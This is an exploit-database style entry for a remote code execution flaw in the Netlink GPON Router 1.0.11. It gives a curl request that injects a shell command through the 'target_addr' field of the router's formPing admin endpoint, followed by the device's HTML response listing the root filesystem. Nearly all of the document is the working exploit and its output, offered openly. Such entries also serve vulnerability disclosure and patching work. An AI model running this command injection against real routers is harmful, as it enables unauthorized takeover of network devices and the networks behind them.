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# Exploit Title: Netlink GPON Router 1.0.11 - Remote Code Execution
# Date: 2020-03-17
# Exploit Author: shellord
# Vendor Homepage: https://www.netlink-india.com/
# Version: 1.0.11
# Tested on: Windows 10
# CVE: N/A

Exploit :

curl -L -d "target_addr=;ls /&waninf=1_INTERNET_R_VID_154"
http://TARGETIP/boaform/admin/formPing

Response :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!--系统默模-->
<html>
<head>
<title>PING越</title>
<meta http-equiv=pragma content=no-cache>
<meta http-equiv=refresh content="2">
<meta http-equiv=cache-control content="no-cache, must-revalidate">
<meta http-equiv=content-type content="text/html; charset=gbk">
<meta http-equiv=content-script-type content=text/javascript>
<!--系统css-->
<style type=text/css>
@import url(/style/default.css);
</style>
<!--系统疟-->
<script language="javascript" src="common.js"></script>
</head>

<!-------------------------------------------------------------------------------------->
<!--页-->
<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"
alink="#000000" link="#000000" vlink="#000000">
        <blockquote>
        <form>
        <div align="left" style="padding-left:20px;"><br>
        <div align="left"><b>Finish</b>
        <br><br>
        </div>
        <pre>
bin
dev
etc
home
image
lib
mnt
proc
sbin
sys
tmp
usr
var
        </pre>

                <input type=button value="back"
onClick=window.location.replace("/diag_ping_admin_en.asp")>
        </div>
        </form>
        </blockquote>
</body>
</html>